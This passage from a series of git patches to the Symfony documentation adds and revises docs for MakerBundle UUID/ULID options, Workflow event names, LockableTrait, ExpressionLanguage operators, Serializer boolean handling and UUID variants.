 .. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 57e0aa55c9f..5cd1ff1e07f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -79,6 +79,13 @@ This will generate your new entity class::
         // ... getters and setters
     }
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates an entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 Mapping the ManyToOne Relationship
 ----------------------------------
 
@@ -700,3 +707,4 @@ Doctrine's `Association Mapping Documentation`_.
 .. _`orphanRemoval`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-associations.html#orphan-removal
 .. _`Mastering Doctrine Relations`: https://symfonycasts.com/screencast/doctrine-relations
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security.rst b/security.rst
index 6f07153cc3c..e2f5437c0ec 100644
--- a/security.rst
+++ b/security.rst
@@ -232,6 +232,13 @@ from the `MakerBundle`_:
         }
     }
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:user``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates a ``User`` entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 .. versionadded:: 5.3
 
     The :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
diff --git a/security/passwords.rst b/security/passwords.rst
index f00cec6184c..b228058c7e3 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -294,6 +294,13 @@ you'll see a success message and a list of any other steps you need to do.
 
     $ php bin/console make:reset-password
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:reset-password``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    the entities will be generated with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 You can customize the reset password bundle's behavior by updating the
 ``reset_password.yaml`` file. For more information on the configuration,
 check out the `SymfonyCastsResetPasswordBundle`_  guide.

From e083e4946a3ff425055a7b2e8b57963a58cd549b Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Tue, 26 Mar 2024 15:54:46 -0400
Subject: [PATCH 5943/7107] [MakerBundle] `make:migration` supports --formatted
 option

Released in `v1.56.0`, passing --formatted will generate a "human friendly" migration file.
---
 doctrine.rst | 6 ++++++
 security.rst | 5 +++++
 2 files changed, 11 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index c118a7c6280..e6a178d1802 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -225,6 +225,11 @@ already installed:
 
     $ php bin/console make:migration
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration``
+    generates a nice and tidy migration file.
+
 If everything worked, you should see something like this:
 
 .. code-block:: text
@@ -909,3 +914,4 @@ Learn more
 .. _`PDO`: https://www.php.net/pdo
 .. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security.rst b/security.rst
index 6f07153cc3c..7c7da679d45 100644
--- a/security.rst
+++ b/security.rst
@@ -245,6 +245,11 @@ to create the tables by :ref:`creating and running a migration <doctrine-creatin
     $ php bin/console make:migration
     $ php bin/console doctrine:migrations:migrate
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration``
+    generates a nice and tidy migration file.
+
 .. _where-do-users-come-from-user-providers:
 .. _security-user-providers:
 

From 3ce5f97e85a782e5d8888a5490eb6cd9881583a3 Mon Sep 17 00:00:00 2001
From: Chris Taylor <chris@christaylordeveloper.co.uk>
Date: Tue, 26 Mar 2024 15:50:17 +0100
Subject: [PATCH 5944/7107] Add missing word.

---
 contributing/documentation/overview.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 4bc8a818bad..aae2c397dec 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -104,7 +104,7 @@ Fetch all the commits of the upstream branches by executing this command:
 
     $ git fetch upstream
 
-The purpose of this step is to allow you work simultaneously on the official
+The purpose of this step is to allow you to work simultaneously on the official
 Symfony repository and on your own fork. You'll see this in action in a moment.
 
 **Step 4.** Create a dedicated **new branch** for your changes. Use a short and

From 08a12ec0616af510e0325a2b21acea467d5ec7fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 09:32:21 +0100
Subject: [PATCH 5945/7107] [Workflow] Document the EventNameTrait

---
 workflow.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 65c4f827a0f..f0c276a86f1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -496,6 +496,7 @@ workflow leaves a place::
     use Psr\Log\LoggerInterface;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Workflow\Event\Event;
+    use Symfony\Component\Workflow\Event\LeaveEvent;
 
     class WorkflowLoggerSubscriber implements EventSubscriberInterface
     {
@@ -518,11 +519,24 @@ workflow leaves a place::
         public static function getSubscribedEvents(): array
         {
             return [
-                'workflow.blog_publishing.leave' => 'onLeave',
+                LeaveEvent::getName('blog_publishing') => 'onLeave',
+                // if you prefer, you can write the event name manually like this:
+                // 'workflow.blog_publishing.leave' => 'onLeave',
             ];
         }
     }
 
+.. tip::
+
+    All built-in workflow events define the ``getName(?string $workflowName, ?string $transitionOrPlaceName)``
+    method to build the full event name without having to deal with strings.
+    You can also use this method in your custom events via the
+    :class:`Symfony\\Component\\Workflow\\Event\\EventNameTrait`.
+
+    .. versionadded:: 7.1
+
+        The ``getName()`` method was introduced in Symfony 7.1.
+
 If some listeners update the context during a transition, you can retrieve
 it via the marking::
 

From b72a109331bbc5c74998475a5cf8e184e07849d6 Mon Sep 17 00:00:00 2001
From: Maxime Veber <nek.dev@gmail.com>
Date: Wed, 27 Mar 2024 15:04:58 +0100
Subject: [PATCH 5946/7107] Fix wrong link for https_proxy in lowercase
 explaination

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 6c666a7ad2e..be06059f452 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -530,5 +530,5 @@ help debug any issues.
 .. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en
-.. _`is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only
+.. _`is treated differently`: https://superuser.com/a/1799209
 .. _`Docker compose CLI env var reference`: https://docs.docker.com/compose/reference/envvars/

From 2bf7485c6a9f28f56c2972624ce44eee2f90ee3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Mar 2024 16:18:23 +0100
Subject: [PATCH 5947/7107] Updated some admonition

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index be06059f452..c5608a871fb 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -266,7 +266,7 @@ domains work:
     # Example with Cypress
     $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
-.. note::
+.. caution::
 
     Although env var names are always defined in uppercase, the ``https_proxy``
     env var `is treated differently`_ than other env vars and its name must be

From 2f65b0027202bc18a083f9f87c851607da9a4dbd Mon Sep 17 00:00:00 2001
From: Benjamin Zaslavsky <benjamin.zaslavsky@gmail.com>
Date: Wed, 27 Mar 2024 16:30:42 +0100
Subject: [PATCH 5948/7107] [Workflow] Add type information for multiple state
 marking store

---
 workflow.rst | 38 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 422400476f0..cd2d9ebd3c5 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -248,6 +248,44 @@ what actions are allowed on a blog post::
     // See a specific available transition for the post in the current state
     $transition = $workflow->getEnabledTransition($post, 'publish');
 
+Using a multiple state marking store
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`
+, your marking store may need to contain multiple places at the same time.
+If you are using Doctrine, the matching column definition should use the
+type ``json`` ::
+
+    // src/Entity/BlogPost.php
+    namespace App\Entity;
+
+    use Doctrine\DBAL\Types\Types;
+    use Doctrine\ORM\Mapping as ORM;
+
+    #[ORM\Entity]
+    class BlogPost
+    {
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column]
+        private int $id;
+
+        // Type declaration is not mandatory and
+        // matches the guessed value from Doctrine
+        #[ORM\Column(type: Types::JSON)] // or #[ORM\Column(type: 'json')]
+        private array $currentPlaces;
+
+        // ...
+    }
+
+.. tip::
+
+    You should not use the type ``simple_array`` for your marking store.
+    Inside a multiple state marking store, places are store as keys with
+    a value of one, such as ``['draft' => 1]``. If the marking store contains
+    only one place, this Doctrine type will store its value only as a string,
+    resulting in the loss of the object's current place.
+
 Accessing the Workflow in a Class
 ---------------------------------
 

From dda1b38a0acb6023236bbc5fe3d17cc15df801b1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 27 Mar 2024 20:52:21 +0100
Subject: [PATCH 5949/7107] replace tab character with spaces

---
 service_container/shared.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/shared.rst b/service_container/shared.rst
index ea12de568d4..3dcad371400 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -16,7 +16,7 @@ in your service definition:
         // src/SomeNonSharedService.php
         namespace App;
 
-	    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+        use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
 
         #[Autoconfigure(shared: false)]
         class SomeNonSharedService

From d073142085de03fc10641f5a080846e8b2d6e9ed Mon Sep 17 00:00:00 2001
From: Mickael Blondeau <mickael.blondeau59@gmail.com>
Date: Thu, 28 Mar 2024 09:47:28 +0100
Subject: [PATCH 5950/7107] Update var_exporter.rst

Remove "lazyObjectId" from LazyGhostTrait because it doesn't seem to do anything
---
 components/var_exporter.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 20213e05c06..46471dca1d9 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -210,9 +210,6 @@ initialized::
     class HashProcessor
     {
         use LazyGhostTrait;
-        // Because of how the LazyGhostTrait trait works internally, you
-        // must add this private property in your class
-        private int $lazyObjectId;
 
         // This property may require a heavy computation to have its value
         public readonly string $hash;

From 54bb5cba6af635724cf141cb8f3cef1010a4c426 Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Sat, 30 Mar 2024 16:00:11 +0100
Subject: [PATCH 5951/7107] MapQueryParameter regex example correction

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 7a3e7aec0f2..436326aa700 100644
--- a/controller.rst
+++ b/controller.rst
@@ -375,7 +375,7 @@ attribute, arguments of your controller's action can be automatically fulfilled:
     // ...
 
     public function dashboard(
-        #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w++$/'])] string $firstName,
+        #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w+$/'])] string $firstName,
         #[MapQueryParameter] string $lastName,
         #[MapQueryParameter(filter: \FILTER_VALIDATE_INT)] int $age,
     ): Response

From 1aab03d5113790f068f54ba224ac429fda9891d2 Mon Sep 17 00:00:00 2001
From: Vincent Langlet <vincentlanglet@hotmail.fr>
Date: Fri, 22 Mar 2024 09:58:55 +0100
Subject: [PATCH 5952/7107] [Console] Add doc about lockableTrait

---
 console/lockable_trait.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 02f635f5788..19f30e86d96 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -43,4 +43,24 @@ that adds two convenient methods to lock and release commands::
         }
     }
 
+The LockableTrait will use the ``SemaphoreStore`` if available and will default
+to ``FlockStore`` otherwise. You can override this behavior by setting
+a ``$lockFactory`` property with your own lock factory::
+
+    // ...
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Command\LockableTrait;
+    use Symfony\Component\Lock\LockFactory;
+
+    class UpdateContentsCommand extends Command
+    {
+        use LockableTrait;
+
+        public function __construct(private LockFactory $lockFactory)
+        {
+        }
+
+        // ...
+    }
+
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)

From b9b06084b6d809269e615ae295683c7a7575e72f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Apr 2024 08:26:03 +0200
Subject: [PATCH 5953/7107] Add the missing versionadded directive

---
 console/lockable_trait.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 19f30e86d96..0f4a4900e17 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -63,4 +63,8 @@ a ``$lockFactory`` property with your own lock factory::
         // ...
     }
 
+.. versionadded::  7.1
+
+    The ``$lockFactory`` property was introduced in Symfony 7.1.
+
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)

From be86770f22c5c6d802163cc6777930df45874069 Mon Sep 17 00:00:00 2001
From: Sudhakar Krishnan <featuriz@users.noreply.github.com>
Date: Thu, 28 Mar 2024 11:08:51 +0530
Subject: [PATCH 5954/7107] Update micro_kernel_trait.rst

---
 configuration/micro_kernel_trait.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 4b538f1b6e4..280255a4064 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -230,6 +230,7 @@ Now it looks like this::
 
     use App\DependencyInjection\AppExtension;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;

From ca016d741a7f58f31e3bbe3b141fcc94f78ea2b8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Mar 2024 15:02:17 +0100
Subject: [PATCH 5955/7107] [ExpressionLanguage] Update the docs about the
 null-coalescing operator

---
 components/expression_language.rst        | 15 +++--------
 reference/formats/expression_language.rst | 33 +++++++++++++++++++++++
 2 files changed, 36 insertions(+), 12 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index b75c3d13c34..f622326944e 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -80,19 +80,10 @@ The main class of the component is
 Null Coalescing Operator
 ........................
 
-This is the same as the PHP `null-coalescing operator`_, which combines
-the ternary operator and ``isset()``. It returns the left hand-side if it exists
-and it's not ``null``; otherwise it returns the right hand-side. Note that you
-can chain multiple coalescing operators.
-
-* ``foo ?? 'no'``
-* ``foo.baz ?? 'no'``
-* ``foo[3] ?? 'no'``
-* ``foo.baz ?? foo['baz'] ?? 'no'``
-
-.. versionadded:: 6.2
+.. note::
 
-    The null-coalescing operator was introduced in Symfony 6.2.
+    This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`
+    section of ExpressionLanguage syntax reference page.
 
 Parsing and Linting Expressions
 ...............................
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index af03b6a07d1..370dbfd6f00 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -99,6 +99,8 @@ JavaScript::
 
 This will print out ``Hi Hi Hi!``.
 
+.. _component-expression-null-safe-operator:
+
 Null-safe Operator
 ..................
 
@@ -118,6 +120,29 @@ operator)::
 
     The null safe operator was introduced in Symfony 6.1.
 
+.. _component-expression-null-coalescing-operator:
+
+Null-Coalescing Operator
+........................
+
+It returns the left-hand side if it exists and it's not ``null``; otherwise it
+returns the right-hand side. Expressions can chain multiple coalescing operators:
+
+* ``foo ?? 'no'``
+* ``foo.baz ?? 'no'``
+* ``foo[3] ?? 'no'``
+* ``foo.baz ?? foo['baz'] ?? 'no'``
+
+.. note::
+
+    The main difference with the `null-coalescing operator in PHP`_ is that
+    ExpressionLanguage will throw an exception when trying to access a
+    non-existent variable.
+
+.. versionadded:: 6.2
+
+    The null-coalescing operator was introduced in Symfony 6.2.
+
 .. _component-expression-functions:
 
 Working with Functions
@@ -391,6 +416,12 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
+Other Operators
+~~~~~~~~~~~~~~~
+
+* ``?.`` (:ref:`null-safe operator <component-expression-null-safe-operator>`)
+* ``??`` (:ref:`null-coalescing operator <component-expression-null-coalescing-operator>`)
+
 Built-in Objects and Variables
 ------------------------------
 
@@ -401,3 +432,5 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
+
+.. _`null-coalescing operator in PHP`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce

From faf261594c7a43b6e4cf81594c79f375e9821594 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 3 Apr 2024 11:23:24 +0200
Subject: [PATCH 5956/7107] [Configuration] Clarify `variables_order`

---
 configuration.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 88f12876594..abd7dba9d96 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -874,9 +874,10 @@ the right situation:
   but the overrides only apply to one environment.
 
 *Real* environment variables always win over env vars created by any of the
-``.env`` files. This behavior depends on
-`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_ to
-contain an ``E`` to expose the ``$_ENV`` superglobal.
+``.env`` files. Note that this behavior depends on the
+`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_
+configuration, which must contain an ``E`` to expose the ``$_ENV`` superglobal.
+This is the default configuration in PHP.
 
 The ``.env`` and ``.env.<environment>`` files should be committed to the
 repository because they are the same for all developers and machines. However,

From dc57552a4f14eb3d87806b23140f1a10ea1e3f3d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 28 Mar 2024 10:43:54 +0100
Subject: [PATCH 5957/7107] [Serializer] Mention
 `AbstractNormalizer::FILTER_BOOL`

---
 components/serializer.rst | 37 +++++++++++++++++++++++++++++++++++--
 1 file changed, 35 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 3bda0b0cf4f..a28464ffc04 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -700,8 +700,13 @@ deserializing objects::
     $serialized = $serializer->serialize(new Person('Kévin'), 'json');
     // {"customer_name": "Kévin"}
 
-Serializing Boolean Attributes
-------------------------------
+.. _serializing-boolean-attributes:
+
+Handling Boolean Attributes And Values
+--------------------------------------
+
+During Serialization
+~~~~~~~~~~~~~~~~~~~~
 
 If you are using isser methods (methods prefixed by ``is``, like
 ``App\Model\Person::isSportsperson()``), the Serializer component will
@@ -710,6 +715,34 @@ automatically detect and use it to serialize related attributes.
 The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
 and ``can``.
 
+During Deserialization
+~~~~~~~~~~~~~~~~~~~~~~
+
+PHP considers many different values as true or false. For example, the
+strings ``true``, ``1``, and ``yes`` are considered true, while
+``false``, ``0``, and ``no`` are considered false.
+
+When deserializing, the Serializer component can take care of this
+automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL``
+context option::
+
+    use Acme\Person;
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+    use Symfony\Component\Serializer\Serializer;
+
+    $normalizer = new ObjectNormalizer();
+    $serializer = new Serializer([$normalizer]);
+
+    $data = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [AbstractNormalizer::FILTER_BOOL => true]);
+
+This context makes the deserialization process behave like the
+:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag.
+
+.. versionadded:: 7.1
+
+    The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1.
+
 Using Callbacks to Serialize Properties with Object Instances
 -------------------------------------------------------------
 

From 658edffc2a27aabb00070ee4c001e8d69bebc4f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Mar 2024 13:18:04 +0100
Subject: [PATCH 5958/7107] [Uid] Expand the explanation about the different
 UUID variants

---
 components/uid.rst | 140 ++++++++++++++++++++++++++++++++-------------
 1 file changed, 100 insertions(+), 40 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 6ae9e0f504c..a2833a10d61 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -27,48 +27,108 @@ Generating UUIDs
 ~~~~~~~~~~~~~~~~
 
 Use the named constructors of the ``Uuid`` class or any of the specific classes
-to create each type of UUID::
+to create each type of UUID:
 
-    use Symfony\Component\Uid\Uuid;
+**UUID v1** (time-based)
+    Generates the UUID using a timestamp and the MAC address of your device
+    (`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
+    Both are obtained automatically, so you don't have to pass any constructor argument::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // $uuid is an instance of Symfony\Component\Uid\UuidV1
+        $uuid = Uuid::v1();
+
+    .. tip::
+
+        It's recommended to use UUIDv7 instead of UUIDv1 because it provides
+        better entropy.
+
+**UUID v2** (DCE security)
+    Similar to UUIDv1 but with a very high likelihood of ID collision
+    (`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
+    It's part of the authentication mechanism of DCE (Distributed Computing Environment)
+    and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
+    This UUID variant is **not implemented** by the Uid component.
+
+**UUID v3** (name-based, MD5)
+    Generates UUIDs from names that belong, and are unique within, some given namespace
+    (`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
+    This variant is useful to generate deterministic UUIDs from arbitrary strings.
+    It works by populating the UUID contents with the``md5`` hash of concatenating
+    the namespace and the name::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // you can use any of the predefined namespaces...
+        $namespace = Uuid::fromString(Uuid::NAMESPACE_OID);
+        // ...or use a random namespace:
+        // $namespace = Uuid::v4();
+
+        // $name can be any arbitrary string
+        // $uuid is an instance of Symfony\Component\Uid\UuidV3
+        $uuid = Uuid::v3($namespace, $name);
+
+    These are the default namespaces defined by the standard:
+
+      * ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__
+      * ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__
+      * ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__
+      * ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__
+
+**UUID v4** (random)
+    Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
+    Because of its randomness, it ensures uniqueness across distributed systems
+    without the need for a central coordinating entity. It's privacy-friendly
+    because it doesn't contain any information about where and when it was generated::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // $uuid is an instance of Symfony\Component\Uid\UuidV4
+        $uuid = Uuid::v4();
+
+**UUID v5** (name-based, SHA-1)
+    It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
+    ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
+    This makes it more secure and less prone to hash collisions.
+
+**UUID v6** (reordered time-based)
+    It rearranges the time-based fields of the UUIDv1 to make it lexicographically
+    sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
+    (`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // $uuid is an instance of Symfony\Component\Uid\UuidV6
+        $uuid = Uuid::v6();
+
+    .. tip::
+
+        It's recommended to use UUIDv7 instead of UUIDv6 because it provides
+        better entropy.
+
+**UUID v7** (UNIX timestamp)
+    Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
+    source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
+    (`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
+    It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
+    better entropy (and a more strict chronological order of UUID generation)::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // $uuid is an instance of Symfony\Component\Uid\UuidV7
+        $uuid = Uuid::v7();
+
+**UUID v8** (custom)
+    Provides an RFC-compatible format for experimental or vendor-specific use cases
+    (`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
+    The only requirement is to set the variant and version bits of the UUID. The rest
+    of the UUID value is specific to each implementation and no format should be assumed::
+
+        use Symfony\Component\Uid\Uuid;
 
-    // UUID type 1 generates the UUID using the MAC address of your device and a timestamp.
-    // Both are obtained automatically, so you don't have to pass any constructor argument.
-    $uuid = Uuid::v1(); // $uuid is an instance of Symfony\Component\Uid\UuidV1
-
-    // UUID type 4 generates a random UUID, so you don't have to pass any constructor argument.
-    $uuid = Uuid::v4(); // $uuid is an instance of Symfony\Component\Uid\UuidV4
-
-    // UUID type 3 and 5 generate a UUID hashing the given namespace and name. Type 3 uses
-    // MD5 hashes and Type 5 uses SHA-1. The namespace is another UUID (e.g. a Type 4 UUID)
-    // and the name is an arbitrary string (e.g. a product name; if it's unique).
-    $namespace = Uuid::v4();
-    $name = $product->getUniqueName();
-
-    $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
-    $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
-
-    // the namespaces defined by RFC 4122 (see https://tools.ietf.org/html/rfc4122#appendix-C)
-    // are available as PHP constants and as string values
-    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);  // same as: Uuid::v3('dns', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);  // same as: Uuid::v3('url', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
-
-    // UUID type 6 is not yet part of the UUID standard. It's lexicographically sortable
-    // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
-    // It's defined in https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#name-uuid-version-6
-    $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
-
-    // UUID version 7 features a time-ordered value field derived from the well known
-    // Unix Epoch timestamp source: the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
-    // As well as improved entropy characteristics over versions 1 or 6.
-    $uuid = Uuid::v7();
-
-    // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
